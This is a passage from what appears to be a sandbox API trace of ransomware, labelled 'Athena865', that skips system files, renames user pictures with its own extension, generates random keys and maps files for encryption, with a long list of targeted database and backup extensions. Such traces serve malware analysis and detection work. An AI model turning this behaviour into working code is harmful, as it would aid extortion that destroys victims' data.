FILES.exe") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2=".") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="..") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="windows") returned -1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="bootmgr") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="temp") returned -1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="pagefile.sys") returned -1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="boot") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="ids.txt") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="ntuser.dat") returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="perflogs") returned -1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="MSBuild") returned 1 [0051.744] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg") returned 24 [0051.744] lstrcpyW (in: lpString1=0x241e8b8, lpString2="oUH1_pI2itD4dpy_z8OI.jpg" | out: lpString1="oUH1_pI2itD4dpy_z8OI.jpg") returned="oUH1_pI2itD4dpy_z8OI.jpg" [0051.744] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg") returned 24 [0051.744] lstrlenW (lpString="Athena865") returned 9 [0051.745] lstrcmpiW (lpString1="_z8OI.jpg", lpString2="Athena865") returned -1 [0051.745] lstrlenW (lpString=".dll") returned 4 [0051.745] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2=".dll") returned 1 [0051.745] lstrlenW (lpString=".lnk") returned 4 [0051.745] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2=".lnk") returned 1 [0051.745] lstrlenW (lpString=".ini") returned 4 [0051.745] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2=".ini") returned 1 [0051.745] lstrlenW (lpString=".sys") returned 4 [0051.745] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2=".sys") returned 1 [0051.745] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg") returned 24 [0051.745] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned 90 [0051.745] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\oUH1_pI2itD4dpy_z8OI.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ouh1_pi2itd4dpy_z8oi.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\oUH1_pI2itD4dpy_z8OI.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ouh1_pi2itd4dpy_z8oi.jpg.athena865"), dwFlags=0x1) returned 1 [0051.745] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\oUH1_pI2itD4dpy_z8OI.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ouh1_pi2itd4dpy_z8oi.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.746] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61047) returned 1 [0051.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.746] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.747] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.747] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.747] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf180, lpName=0x0) returned 0x154 [0051.747] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf180) returned 0x100000 [0051.749] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.750] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.750] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.751] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.751] CloseHandle (hObject=0x154) returned 1 [0051.751] CloseHandle (hObject=0x17c) returned 1 [0051.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.754] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef872b0, ftCreationTime.dwHighDateTime=0x1d4c7d6, ftLastAccessTime.dwLowDateTime=0x84a16380, ftLastAccessTime.dwHighDateTime=0x1d4cc7b, ftLastWriteTime.dwLowDateTime=0x84a16380, ftLastWriteTime.dwHighDateTime=0x1d4cc7b, nFileSizeHigh=0x0, nFileSizeLow=0xb3c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pl8 rv9MiKs.jpg", cAlternateFileName="PL8RV9~1.JPG")) returned 1 [0051.754] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.754] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.754] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2=".") returned 1 [0051.754] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="..") returned 1 [0051.754] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="windows") returned -1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="bootmgr") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="temp") returned -1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="pagefile.sys") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="boot") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="ids.txt") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="ntuser.dat") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="perflogs") returned 1 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2="MSBuild") returned 1 [0051.755] lstrlenW (lpString="Pl8 rv9MiKs.jpg") returned 15 [0051.755] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Pl8 rv9MiKs.jpg" | out: lpString1="Pl8 rv9MiKs.jpg") returned="Pl8 rv9MiKs.jpg" [0051.755] lstrlenW (lpString="Pl8 rv9MiKs.jpg") returned 15 [0051.755] lstrlenW (lpString="Athena865") returned 9 [0051.755] lstrcmpiW (lpString1="9MiKs.jpg", lpString2="Athena865") returned -1 [0051.755] lstrlenW (lpString=".dll") returned 4 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2=".dll") returned 1 [0051.755] lstrlenW (lpString=".lnk") returned 4 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2=".lnk") returned 1 [0051.755] lstrlenW (lpString=".ini") returned 4 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2=".ini") returned 1 [0051.755] lstrlenW (lpString=".sys") returned 4 [0051.755] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg", lpString2=".sys") returned 1 [0051.755] lstrlenW (lpString="Pl8 rv9MiKs.jpg") returned 15 [0051.755] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pl8 rv9MiKs.jpg.Athena865") returned 81 [0051.755] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pl8 rv9MiKs.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pl8 rv9miks.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pl8 rv9MiKs.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pl8 rv9miks.jpg.athena865"), dwFlags=0x1) returned 1 [0051.756] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pl8 rv9MiKs.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pl8 rv9miks.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46019) returned 1 [0051.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.757] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.757] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.757] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6d0, lpName=0x0) returned 0x154 [0051.757] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6d0) returned 0x100000 [0051.759] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.760] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.760] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.761] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.761] CloseHandle (hObject=0x154) returned 1 [0051.761] CloseHandle (hObject=0x17c) returned 1 [0051.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.762] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da168d0, ftCreationTime.dwHighDateTime=0x1d4cca5, ftLastAccessTime.dwLowDateTime=0x6c9548f0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0x6c9548f0, ftLastWriteTime.dwHighDateTime=0x1d4cbe1, nFileSizeHigh=0x0, nFileSizeLow=0x14507, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pWaepLE.png", cAlternateFileName="")) returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2=".") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="..") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="windows") returned -1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="bootmgr") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="temp") returned -1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="pagefile.sys") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="boot") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="ids.txt") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="ntuser.dat") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="perflogs") returned 1 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2="MSBuild") returned 1 [0051.763] lstrlenW (lpString="pWaepLE.png") returned 11 [0051.763] lstrcpyW (in: lpString1=0x241e8b8, lpString2="pWaepLE.png" | out: lpString1="pWaepLE.png") returned="pWaepLE.png" [0051.763] lstrlenW (lpString="pWaepLE.png") returned 11 [0051.763] lstrlenW (lpString="Athena865") returned 9 [0051.763] lstrcmpiW (lpString1="aepLE.png", lpString2="Athena865") returned -1 [0051.763] lstrlenW (lpString=".dll") returned 4 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2=".dll") returned 1 [0051.763] lstrlenW (lpString=".lnk") returned 4 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2=".lnk") returned 1 [0051.763] lstrlenW (lpString=".ini") returned 4 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2=".ini") returned 1 [0051.763] lstrlenW (lpString=".sys") returned 4 [0051.763] lstrcmpiW (lpString1="pWaepLE.png", lpString2=".sys") returned 1 [0051.763] lstrlenW (lpString="pWaepLE.png") returned 11 [0051.763] lstrlenW (lpString="bak") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0051.764] lstrlenW (lpString="ba_") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0051.764] lstrlenW (lpString="dbb") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0051.764] lstrlenW (lpString="vmdk") returned 4 [0051.764] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0051.764] lstrlenW (lpString="rar") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0051.764] lstrlenW (lpString="zip") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0051.764] lstrlenW (lpString="tgz") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0051.764] lstrlenW (lpString="vbox") returned 4 [0051.764] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0051.764] lstrlenW (lpString="vdi") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0051.764] lstrlenW (lpString="vhd") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0051.764] lstrlenW (lpString="vhdx") returned 4 [0051.764] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0051.764] lstrlenW (lpString="avhd") returned 4 [0051.764] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0051.764] lstrlenW (lpString="db") returned 2 [0051.764] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0051.764] lstrlenW (lpString="db2") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0051.764] lstrlenW (lpString="db3") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0051.764] lstrlenW (lpString="dbf") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0051.764] lstrlenW (lpString="mdf") returned 3 [0051.764] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0051.764] lstrlenW (lpString="mdb") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0051.765] lstrlenW (lpString="sql") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0051.765] lstrlenW (lpString="sqlite") returned 6 [0051.765] lstrcmpiW (lpString1="LE.png", lpString2="sqlite") returned -1 [0051.765] lstrlenW (lpString="sqlite3") returned 7 [0051.765] lstrcmpiW (lpString1="pLE.png", lpString2="sqlite3") returned -1 [0051.765] lstrlenW (lpString="sqlitedb") returned 8 [0051.765] lstrcmpiW (lpString1="epLE.png", lpString2="sqlitedb") returned -1 [0051.765] lstrlenW (lpString="xml") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0051.765] lstrlenW (lpString="$er") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0051.765] lstrlenW (lpString="4dd") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0051.765] lstrlenW (lpString="4dl") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0051.765] lstrlenW (lpString="^^^") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0051.765] lstrlenW (lpString="abs") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0051.765] lstrlenW (lpString="abx") returned 3 [0051.765] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0051.765] lstrlenW (lpString="accdb") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accdb") returned 1 [0051.765] lstrlenW (lpString="accdc") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accdc") returned 1 [0051.765] lstrlenW (lpString="accde") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accde") returned 1 [0051.765] lstrlenW (lpString="accdr") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accdr") returned 1 [0051.765] lstrlenW (lpString="accdt") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accdt") returned 1 [0051.765] lstrlenW (lpString="accdw") returned 5 [0051.765] lstrcmpiW (lpString1="E.png", lpString2="accdw") returned 1 [0051.766] lstrlenW (lpString="accft") returned 5 [0051.766] lstrcmpiW (lpString1="E.png", lpString2="accft") returned 1 [0051.766] lstrlenW (lpString="adb") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.766] lstrlenW (lpString="adb") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0051.766] lstrlenW (lpString="ade") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0051.766] lstrlenW (lpString="adf") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0051.766] lstrlenW (lpString="adn") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0051.766] lstrlenW (lpString="adp") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0051.766] lstrlenW (lpString="alf") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0051.766] lstrlenW (lpString="ask") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0051.766] lstrlenW (lpString="btr") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0051.766] lstrlenW (lpString="cat") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0051.766] lstrlenW (lpString="cdb") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0051.766] lstrlenW (lpString="ckp") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0051.766] lstrlenW (lpString="cma") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0051.766] lstrlenW (lpString="cpd") returned 3 [0051.766] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0051.766] lstrlenW (lpString="dacpac") returned 6 [0051.766] lstrcmpiW (lpString1="LE.png", lpString2="dacpac") returned 1 [0051.766] lstrlenW (lpString="dad") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0051.767] lstrlenW (lpString="dadiagrams") returned 10 [0051.767] lstrcmpiW (lpString1="WaepLE.png", lpString2="dadiagrams") returned 1 [0051.767] lstrlenW (lpString="daschema") returned 8 [0051.767] lstrcmpiW (lpString1="epLE.png", lpString2="daschema") returned 1 [0051.767] lstrlenW (lpString="db-journal") returned 10 [0051.767] lstrcmpiW (lpString1="WaepLE.png", lpString2="db-journal") returned 1 [0051.767] lstrlenW (lpString="db-shm") returned 6 [0051.767] lstrcmpiW (lpString1="LE.png", lpString2="db-shm") returned 1 [0051.767] lstrlenW (lpString="db-wal") returned 6 [0051.767] lstrcmpiW (lpString1="LE.png", lpString2="db-wal") returned 1 [0051.767] lstrlenW (lpString="dbc") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0051.767] lstrlenW (lpString="dbs") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0051.767] lstrlenW (lpString="dbt") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0051.767] lstrlenW (lpString="dbv") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0051.767] lstrlenW (lpString="dbx") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0051.767] lstrlenW (lpString="dcb") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0051.767] lstrlenW (lpString="dct") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0051.767] lstrlenW (lpString="dcx") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0051.767] lstrlenW (lpString="ddl") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0051.767] lstrlenW (lpString="dlis") returned 4 [0051.767] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0051.767] lstrlenW (lpString="dp1") returned 3 [0051.767] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0051.768] lstrlenW (lpString="dqy") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0051.768] lstrlenW (lpString="dsk") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0051.768] lstrlenW (lpString="dsn") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0051.768] lstrlenW (lpString="dtsx") returned 4 [0051.768] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0051.768] lstrlenW (lpString="dxl") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0051.768] lstrlenW (lpString="eco") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0051.768] lstrlenW (lpString="ecx") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0051.768] lstrlenW (lpString="edb") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0051.768] lstrlenW (lpString="epim") returned 4 [0051.768] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0051.768] lstrlenW (lpString="fcd") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0051.768] lstrlenW (lpString="fdb") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0051.768] lstrlenW (lpString="fic") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0051.768] lstrlenW (lpString="flexolibrary") returned 12 [0051.768] lstrlenW (lpString="fm5") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0051.768] lstrlenW (lpString="fmp") returned 3 [0051.768] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0051.768] lstrlenW (lpString="fmp12") returned 5 [0051.768] lstrcmpiW (lpString1="E.png", lpString2="fmp12") returned -1 [0051.768] lstrlenW (lpString="fmpsl") returned 5 [0051.768] lstrcmpiW (lpString1="E.png", lpString2="fmpsl") returned -1 [0051.768] lstrlenW (lpString="fol") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0051.769] lstrlenW (lpString="fp3") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0051.769] lstrlenW (lpString="fp4") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0051.769] lstrlenW (lpString="fp5") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0051.769] lstrlenW (lpString="fp7") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0051.769] lstrlenW (lpString="fpt") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0051.769] lstrlenW (lpString="frm") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0051.769] 